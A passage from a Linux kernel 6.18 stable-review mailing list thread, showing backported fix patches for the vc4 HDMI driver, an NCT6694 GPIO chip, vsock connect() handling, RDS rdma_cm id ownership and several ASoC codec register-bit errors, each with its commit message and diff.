- ~(VC4_HDMI_RAM_PACKET_ENABLE));
HDMI_WRITE(HDMI_SCHEDULER_CONTROL,
HDMI_READ(HDMI_SCHEDULER_CONTROL) &
~VC4_HDMI_SCHEDULER_CONTROL_MODE_HDMI);
@@ -1609,9 +1606,6 @@ static void vc4_hdmi_encoder_post_crtc_enable(struct drm_encoder *encoder,
WARN_ON(!(HDMI_READ(HDMI_SCHEDULER_CONTROL) &
VC4_HDMI_SCHEDULER_CONTROL_HDMI_ACTIVE));
- HDMI_WRITE(HDMI_RAM_PACKET_CONFIG,
- VC4_HDMI_RAM_PACKET_ENABLE);
-
spin_unlock_irqrestore(&vc4_hdmi->hw_lock, flags);
vc4_hdmi->packet_ram_enabled = true;
@@ -3072,6 +3066,11 @@ static int vc5_hdmi_init_resources(struct drm_device *drm,
static int vc4_hdmi_runtime_suspend(struct device *dev)
{
struct vc4_hdmi *vc4_hdmi = dev_get_drvdata(dev);
+ unsigned long flags;
+
+ spin_lock_irqsave(&vc4_hdmi->hw_lock, flags);
+ HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, 0);
+ spin_unlock_irqrestore(&vc4_hdmi->hw_lock, flags);
clk_disable_unprepare(vc4_hdmi->audio_clock);
clk_disable_unprepare(vc4_hdmi->hsm_clock);
@@ -3082,9 +3081,8 @@ static int vc4_hdmi_runtime_suspend(struct device *dev)
static int vc4_hdmi_runtime_resume(struct device *dev)
{
struct vc4_hdmi *vc4_hdmi = dev_get_drvdata(dev);
- unsigned long __maybe_unused flags;
+ unsigned long rate, flags;
u32 __maybe_unused value;
- unsigned long rate;
int ret;
ret = clk_prepare_enable(vc4_hdmi->hsm_clock);
@@ -3130,6 +3128,10 @@ static int vc4_hdmi_runtime_resume(struct device *dev)
}
#endif
+ spin_lock_irqsave(&vc4_hdmi->hw_lock, flags);
+ HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, VC4_HDMI_RAM_PACKET_ENABLE);
+ spin_unlock_irqrestore(&vc4_hdmi->hw_lock, flags);
+
return 0;
err_disable_clk:
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 027/193] gpio: nct6694: Mark the GPIO controller as sleeping
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (25 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 026/193] drm/vc4: hdmi: Move packet RAM enable to PM runtime Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 028/193] vsock: treat TCP_CLOSING as once-established Greg Kroah-Hartman
` (176 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ming Yu, Bartosz Golaszewski,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ming Yu <a0282524688@gmail.com>
[ Upstream commit fcbc48dc650d2f58bfe19c4486830de0e9cad62e ]
The GPIO callbacks take a mutex and issue USB transfers, so this GPIO
chip must not be used in atomic context. Change the can_sleep switch in
struct gpio_chip to true.
Fixes: 611a995e8ae1 ("gpio: Add Nuvoton NCT6694 GPIO support")
Signed-off-by: Ming Yu <a0282524688@gmail.com>
Link: https://patch.msgid.link/20261007092102.3768818-2-a0282524688@gmail.com
Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpio/gpio-nct6694.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpio/gpio-nct6694.c b/drivers/gpio/gpio-nct6694.c
index a8607f0d99153..a38add1cde293 100644
--- a/drivers/gpio/gpio-nct6694.c
+++ b/drivers/gpio/gpio-nct6694.c
@@ -444,7 +444,7 @@ static int nct6694_gpio_probe(struct platform_device *pdev)
data->gpio.set_config = nct6694_set_config;
data->gpio.init_valid_mask = nct6694_init_valid_mask;
data->gpio.base = -1;
- data->gpio.can_sleep = false;
+ data->gpio.can_sleep = true;
data->gpio.owner = THIS_MODULE;
data->gpio.ngpio = NCT6694_NR_GPIO;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 028/193] vsock: treat TCP_CLOSING as once-established
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (26 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 027/193] gpio: nct6694: Mark the GPIO controller as sleeping Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 029/193] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure Greg Kroah-Hartman
` (175 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Hyunwoo Kim, Michal Luczaj,
Stefano Garzarella, Paolo Abeni, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michal Luczaj <mhal@rbox.co>
[ Upstream commit 4f6ac74fa594a918d41255c941256e1d51592d3b ]
Handle the TCP_ESTABLISHED -> TCP_CLOSING transition on OP_RST, which can
race with the connect loop. Immediately break and return 0 on
ESTABLISHED/CLOSING. The return value of connect() should reflect what
happened up to the point the connection was established or failed. Events
that occur afterwards must not affect it. E.g. even if OP_RW has already
set sk_err, connect() should still return 0, not ENOBUFS because of it.
Adapt the inaccurate comment above signal_pending().
Resetting a socket that is still present in connected_table can lead to
memory corruption. The reporter noted lost transports for in-flight skbs,
and I have reproduced crashes caused by re-insertion into connected_table.
list_add double add: new=, prev=, next=.
kernel BUG at lib/list_debug.c:35!
Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
Workqueue: vsock-loopback vsock_loopback_work
RIP: 0010:__list_add_valid_or_report+0x11f/0x130
Call Trace:
vsock_insert_connected.cold+0xe/0x13
virtio_transport_recv_pkt+0x10e9/0x1460
vsock_loopback_work+0x305/0x480
process_one_work+0xe4c/0x1560
worker_thread+0x4f1/0xd60
kthread+0x36e/0x470
ret_from_fork+0x47b/0x6b0
ret_from_fork_asm+0x1a/0x30
This fix is supplementary to commit 002541ef650b ("vsock: Ignore
signal/timeout on connect() if already established"). Details under Link.
Fixes: d021c344051a ("VSOCK: Introduce VM Sockets")
Reported-by: Hyunwoo Kim <imv4bel@gmail.com>
Link: https://lore.kernel.org/netdev/anzT1fREOSyHT99k@v4bel/
Signed-off-by: Michal Luczaj <mhal@rbox.co>
Reviewed-by: Stefano Garzarella <sgarzare@redhat.com>
Link: https://patch.msgid.link/20261005-vsock-connect-reset-closing-v4-1-15d41cfda3ed@rbox.co
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/vmw_vsock/af_vsock.c | 17 ++++++++---------
1 file changed, 8 insertions(+), 9 deletions(-)
diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
index a540b3d29f9b5..b02433aae57cb 100644
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -1678,23 +1678,22 @@ static int vsock_connect(struct socket *sock, struct sockaddr *addr,
timeout = schedule_timeout(timeout);
lock_sock(sk);
- /* Connection established. Whatever happens to socket once we
- * release it, that's not connect()'s concern. No need to go
+ /* Connection was established. Whatever happens to socket once
+ * we release it, that's not connect()'s concern. No need to go
* into signal and timeout handling. Call it a day.
*
* Note that allowing to "reset" an already established socket
* here is racy and insecure.
*/
- if (sk->sk_state == TCP_ESTABLISHED)
- break;
+ if (sk->sk_state == TCP_ESTABLISHED ||
+ sk->sk_state == TCP_CLOSING) {
+ err = 0;
+ goto out_wait;
+ }
/* If connection was _not_ established and a signal/timeout came
* to be, we want the socket's state reset. User space may want
- * to retry.
- *
- * sk_state != TCP_ESTABLISHED implies that socket is not on
- * vsock_connected_table. We keep the binding and the transport
- * assigned.
+ * to retry, so we keep the binding and the transport assigned.
*/
if (signal_pending(current) || timeout == 0) {
err = timeout == 0 ? -ETIMEDOUT : sock_intr_errno(timeout);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 029/193] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (27 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 028/193] vsock: treat TCP_CLOSING as once-established Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 030/193] ASoC: Intel: avs: Reset the stream unless it is already prepared Greg Kroah-Hartman
` (174 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Allison Henderson, Paolo Abeni,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Allison Henderson <achender@kernel.org>
[ Upstream commit 98d446b7c013254a8a7b49720557676a3a851fde ]
rds_rdma_cm_event_handler_cmn() hands the return value of
rdma_resolve_route() straight back to the rdma_cm on
RDMA_CM_EVENT_ADDR_RESOLVED. A synchronous failure there - -ENOMEM
from the route work allocation, an SA query that cannot be set up, a
RoCE route with no usable device - makes addr_handler() destroy the
id the event was delivered on. That id is ic->i_cm_id, and nothing
clears the pointer: the connection sits in RDS_CONN_CONNECTING with a
freed id until its shutdown calls rdma_disconnect() and
rdma_destroy_id() on it.
The ROUTE_RESOLVED case already avoids this: rds_ib_cm_initiate_connect()
forces a zero return while ic->i_cm_id == cm_id, as the comment there
explains. Do the same here - drop the connection and return 0 - so
the id stays RDS's to destroy from the shutdown, and the reconnect
gets a fresh one.
Fixes: 55b7ed0b582f ("RDS: Common RDMA transport code")
Assisted-by: LLM
Signed-off-by: Allison Henderson <achender@kernel.org>
Link: https://patch.msgid.link/20261003163408.250568-3-achender@kernel.org
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
net/rds/rdma_transport.c | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/net/rds/rdma_transport.c b/net/rds/rdma_transport.c
index b15cf316b23a2..21738a5690917 100644
--- a/net/rds/rdma_transport.c
+++ b/net/rds/rdma_transport.c
@@ -89,9 +89,19 @@ static int rds_rdma_cm_event_handler_cmn(struct rdma_cm_id *cm_id,
if (conn) {
rdma_set_service_type(cm_id, conn->c_tos);
rdma_set_min_rnr_timer(cm_id, IB_RNR_TIMER_000_32);
- /* XXX do we need to clean up if this fails? */
ret = rdma_resolve_route(cm_id,
RDS_RDMA_RESOLVE_TIMEOUT_MS);
+ if (ret) {
+ /* A non-zero return has the rdma_cm destroy
+ * the id, but it is still ic->i_cm_id, which
+ * the connection's shutdown would then
+ * disconnect and destroy again. Drop the
+ * connection and keep the id for that
+ * shutdown.
+ */
+ rds_conn_drop(conn);
+ ret = 0;
+ }
}
break;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 030/193] ASoC: Intel: avs: Reset the stream unless it is already prepared
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (28 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 029/193] net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 031/193] ASoC: stm32: spdifrx: fix synchronization state check Greg Kroah-Hartman
` (173 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Sergey Tiraspolsky, Cezary Rojewski,
Mark Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sergey Tiraspolsky <stiraspo@gmail.com>
[ Upstream commit f6be9f558a83fe30a03bd3adae461c821a0cef8c ]
Commit cfca1637bc2b ("ASoC: Intel: avs: Unprepare a stream when XRUN
occurs") resets the HDA stream when ->prepare() is called in the XRUN
state. User space does not always recover that way. PipeWire's ALSA
backend recovers from an underrun with snd_pcm_drop(), snd_pcm_prepare()
and a new start, so ->prepare() runs in the SETUP state,
hdac_stream->prepared is still set and the reset is skipped. Every
recovery attempt then fails the same way:
spa.alsa: hw:avsmax98927,1p: snd_pcm_avail after recover: Broken pipe
On a Google Pixelbook (Kaby Lake, max98927 speakers) this happens after
an occasional underrun during normal playback and silences the speakers
for one to four minutes, until the PCM is closed. It can be provoked by
stopping PipeWire with SIGSTOP for 0.5 s during playback: in one run
that single underrun led to 1297 failed recoveries over two minutes,
until the sink was suspended. A plain alsa-lib program that recovers
with snd_pcm_drop() and snd_pcm_prepare() hits the same loop, while
snd_pcm_prepare() straight from XRUN recovers at once.
Skip the reset only when the stream is already PREPARED, the repeated
->prepare() case the check exists for, and reset it otherwise. With
this change both kinds of recovery succeed with a single restart.
Fixes: cfca1637bc2b ("ASoC: Intel: avs: Unprepare a stream when XRUN occurs")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: Sergey Tiraspolsky <stiraspo@gmail.com>
Acked-by: Cezary Rojewski <cezary.rojewski@intel.com>
Link: https://patch.msgid.link/20261010103753.16969-1-stiraspo@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/intel/avs/pcm.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/intel/avs/pcm.c b/sound/soc/intel/avs/pcm.c
index a2c05a4ced72b..8f09d539e2246 100644
--- a/sound/soc/intel/avs/pcm.c
+++ b/sound/soc/intel/avs/pcm.c
@@ -756,7 +756,7 @@ static int avs_dai_fe_prepare(struct snd_pcm_substream *substream, struct snd_so
data = snd_soc_dai_get_dma_data(dai, substream);
host_stream = data->host_stream;
- if (runtime->state == SNDRV_PCM_STATE_XRUN)
+ if (runtime->state != SNDRV_PCM_STATE_PREPARED)
hdac_stream(host_stream)->prepared = false;
if (hdac_stream(host_stream)->prepared)
return 0;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 031/193] ASoC: stm32: spdifrx: fix synchronization state check
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (29 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 030/193] ASoC: Intel: avs: Reset the stream unless it is already prepared Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 032/193] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register Greg Kroah-Hartman
` (172 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Avi Weiss, Olivier Moysan,
Mark Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Avi Weiss <thnkslprpt@gmail.com>
[ Upstream commit 0936bbd35a247665c64886135835faa3c3f4f29f ]
The interrupt handler uses a logical AND to check whether SPDIFRX
was in the SYNC state before clearing errors. Since both SYNC (1)
and ENABLE (3) are nonzero, this also treats ENABLE as SYNC (and
any other non-zero value that might be added).
The logical && basically just converts this to check for != 0.
So errors occurring while SPDIFRX is enabled cause the driver
to retry synch instead of disconnecting the PCM stream.
Fix is to change the logical && to equality (==) and only retry
when exactly in sync state.
Fixes: 0c93c291321f2 ("ASoC: stm32: spdifrx: retry synchronization in sync state")
Signed-off-by: Avi Weiss <thnkslprpt@gmail.com>
Reviewed-by: Olivier Moysan <olivier.moysan@foss.st.com>
Link: https://patch.msgid.link/20261011035459.2289403-1-thnkslprpt@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/stm/stm32_spdifrx.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/stm/stm32_spdifrx.c b/sound/soc/stm/stm32_spdifrx.c
index 57b711c442784..47cd3efcadc1a 100644
--- a/sound/soc/stm/stm32_spdifrx.c
+++ b/sound/soc/stm/stm32_spdifrx.c
@@ -728,7 +728,7 @@ static irqreturn_t stm32_spdifrx_isr(int irq, void *devid)
if (err) {
regmap_read(spdifrx->regmap, STM32_SPDIFRX_CR, &cr);
- sync_state = FIELD_GET(SPDIFRX_CR_SPDIFEN_MASK, cr) &&
+ sync_state = FIELD_GET(SPDIFRX_CR_SPDIFEN_MASK, cr) ==
SPDIFRX_SPDIFEN_SYNC;
/* SPDIFRX is in STATE_STOP. Disable SPDIFRX to clear errors */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 032/193] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (30 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 031/193] ASoC: stm32: spdifrx: fix synchronization state check Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 033/193] ASoC: cs42l52: Fix the NG Type Switch bit Greg Kroah-Hartman
` (171 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit 203436d2aeb7093290459e344e1912a418a6ebfd ]
The Limiter Cushion control writes bits 4:2 of the ALC Thresholds
register. Those bits are ALCMIN, which the ALC MIN control owns. The
datasheet puts CUSH at bits 4:2 of the Limit Thresholds Control
register, next to LMAX, which the Limiter MAX control already uses.
So setting the limiter cushion changes the ALC minimum threshold, and
the cushion itself cannot be set.
Use CS42L56_LIM_THRESHOLD_CTL.
Fixes: 272b5edd3b8f ("ASoC: Add support for CS42L56 CODEC")
Link: https://statics.cirrus.com/pubs/proDatasheet/CS42L56_F2.pdf
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-2-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/cs42l56.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/cs42l56.c b/sound/soc/codecs/cs42l56.c
index 98fa812bc07b8..4e46b8ba92485 100644
--- a/sound/soc/codecs/cs42l56.c
+++ b/sound/soc/codecs/cs42l56.c
@@ -481,7 +481,7 @@ static const struct snd_kcontrol_new cs42l56_snd_controls[] = {
0, 0x3f, 0, 0),
SOC_SINGLE_TLV("Limiter MAX", CS42L56_LIM_THRESHOLD_CTL,
5, 0x07, 1, alc_tlv),
- SOC_SINGLE_TLV("Limiter Cushion", CS42L56_ALC_THRESHOLD,
+ SOC_SINGLE_TLV("Limiter Cushion", CS42L56_LIM_THRESHOLD_CTL,
2, 0x07, 1, alc_tlv),
SOC_SINGLE("NG Switch", CS42L56_NOISE_GATE_CTL, 6, 1, 1),
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 033/193] ASoC: cs42l52: Fix the NG Type Switch bit
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (31 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 032/193] ASoC: cs42l56: Put the Limiter Cushion control on the limiter register Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 034/193] ASoC: pcm3168a: Fix the DAC zero flag polarity bit Greg Kroah-Hartman
` (170 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit 8b08b98796d2da103f2432550c14a7c687e72080 ]
The NG Type Switch enum selects between "Apply Specific" and "Apply
All", which is the NGALL bit. The datasheet puts NGALL at bit 7 of the
Noise Gate Control register. The enum uses bit 6, which is NG, the
noise gate enable owned by the NG Enable Switch. cs42l52.h names it
CS42L52_NG_ENABLE_SHIFT. cs42l56 has the same Noise Gate register and
puts its NG All Switch at bit 7.
So changing the noise gate type turns the noise gate on or off, and
NGALL cannot be set.
Use bit 7.
Fixes: dfe0f98b8d2e ("ASoC: Add support for CS42L52 Codec")
Link: https://statics.cirrus.com/pubs/proDatasheet/CS42L52_F2.pdf
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-3-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/cs42l52.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/cs42l52.c b/sound/soc/codecs/cs42l52.c
index a9ffba62aaf88..4a7cfd52e583e 100644
--- a/sound/soc/codecs/cs42l52.c
+++ b/sound/soc/codecs/cs42l52.c
@@ -290,7 +290,7 @@ static const char * const cs42l52_ng_type_text[] = {
};
static SOC_ENUM_SINGLE_DECL(ng_type_enum,
- CS42L52_NOISE_GATE_CTL, 6,
+ CS42L52_NOISE_GATE_CTL, 7,
cs42l52_ng_type_text);
static const char * const left_swap_text[] = {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 034/193] ASoC: pcm3168a: Fix the DAC zero flag polarity bit
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (32 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 033/193] ASoC: cs42l52: Fix the NG Type Switch bit Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 035/193] ASoC: max98371: Fix the Speaker DHT Min Volume bits Greg Kroah-Hartman
` (169 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, HyeongJun An, Cezary Rojewski,
Mark Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit b26edc925c1cfa0184cd270ed81d4833db045ce0 ]
The DAC Zero Flag Polarity enum uses PCM3168A_DAC_ATSPDA_SHIFT, which
is bit 6 of register 70. That bit is ATSPDA, the attenuation speed,
which the DAC Volume Rate Multiplier enum already owns. The datasheet
puts ZREV, the zero flag polarity, at bit 0. The header defines
PCM3168A_DAC_ZREV_SHIFT for it, but nothing uses it.
So changing the zero flag polarity changes the attenuation speed, and
ZREV cannot be set.
Use PCM3168A_DAC_ZREV_SHIFT.
Fixes: a9b17a638af5 ("ASoC: pcm3168a: Add driver for pcm3168a codec")
Link: https://www.ti.com/lit/ds/symlink/pcm3168a.pdf
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Reviewed-by: Cezary Rojewski <cezary.rojewski@intel.com>
Link: https://patch.msgid.link/20261008130953.2446692-4-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/pcm3168a.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/pcm3168a.c b/sound/soc/codecs/pcm3168a.c
index 2066cf6c1e976..68d914148bf33 100644
--- a/sound/soc/codecs/pcm3168a.c
+++ b/sound/soc/codecs/pcm3168a.c
@@ -103,7 +103,7 @@ static SOC_ENUM_SINGLE_DECL(pcm3168a_dac_zf_func, PCM3168A_DAC_ATT_DEMP_ZF,
static const char *const pcm3168a_pol[] = { "Active High", "Active Low" };
static SOC_ENUM_SINGLE_DECL(pcm3168a_dac_zf_pol, PCM3168A_DAC_ATT_DEMP_ZF,
- PCM3168A_DAC_ATSPDA_SHIFT, pcm3168a_pol);
+ PCM3168A_DAC_ZREV_SHIFT, pcm3168a_pol);
static const char *const pcm3168a_con[] = { "Differential", "Single-Ended" };
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 035/193] ASoC: max98371: Fix the Speaker DHT Min Volume bits
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (33 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 034/193] ASoC: pcm3168a: Fix the DAC zero flag polarity bit Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 036/193] ASoC: wm8978: Fix the 128x oversampling switch bits Greg Kroah-Hartman
` (168 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit f7934340c56a84fc1b246ebf6b2e806d775f3b54 ]
Register 0x31 holds two 4-bit fields. The datasheet puts SPK_GAIN_MIN
at bits 7:4 and DHT_VROT_PNT at bits 3:0. The Speaker DHT Min Volume
and Speaker DHT Rotation Volume controls both use bits 3:0.
So setting the minimum speaker gain changes the DHT rotation point, and
SPK_GAIN_MIN cannot be set.
Move Speaker DHT Min Volume to bits 7:4.
Fixes: ca2cd6bc6663 ("ASoC: Add max98371 codec driver")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-5-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/max98371.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sound/soc/codecs/max98371.c b/sound/soc/codecs/max98371.c
index 852db211ba1e7..c53f76f0ade76 100644
--- a/sound/soc/codecs/max98371.c
+++ b/sound/soc/codecs/max98371.c
@@ -166,7 +166,7 @@ static const struct snd_kcontrol_new max98371_snd_controls[] = {
0, (1<<MAX98371_DHT_MAX_WIDTH)-1, 0,
max98371_dht_max_gain),
SOC_SINGLE_TLV("Speaker DHT Min Volume", MAX98371_DHT_GAIN,
- 0, (1<<MAX98371_DHT_GAIN_WIDTH)-1, 0,
+ 4, (1<<MAX98371_DHT_GAIN_WIDTH)-1, 0,
max98371_dht_min_gain),
SOC_SINGLE_TLV("Speaker DHT Rotation Volume", MAX98371_DHT_GAIN,
0, (1<<MAX98371_DHT_ROT_WIDTH)-1, 0,
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 036/193] ASoC: wm8978: Fix the 128x oversampling switch bits
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (34 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 035/193] ASoC: max98371: Fix the Speaker DHT Min Volume bits Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 037/193] ASoC: nau8822: " Greg Kroah-Hartman
` (167 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, HyeongJun An, Mark Brown,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: HyeongJun An <sammiee5311@gmail.com>
[ Upstream commit d0567ca9a2faa33efbe5ae84ef7b86423a93bffd ]
The DAC and ADC 128x Oversampling Switches use bit 5 of R10 and R14.
Table 66 of the WM8978 datasheet puts DACOSR128 and ADCOSR128 at bit 3
of those registers.
In R14, bit 5 is inside HPFCUT[6:4], which the High Pass Cut Off
control owns. So turning on ADC oversampling changes the high pass
cut-off, and the oversampling bit cannot be set. In R10, bit 5 is
reserved, so the DAC switch has no effect.
Use bit 3 for both.
Fixes: 823dba519122 ("ASoC: Fix broken bitfield definitions in WM8978")
Assisted-by: Claude:claude-opus-5-5
Signed-off-by: HyeongJun An <sammiee5311@gmail.com>
Link: https://patch.msgid.link/20261008130953.2446692-6-sammiee5311@gmail.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
sound/soc/codecs/wm8978.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/sound/soc/codecs/wm8978.c b/sound/soc/codecs/wm8978.c
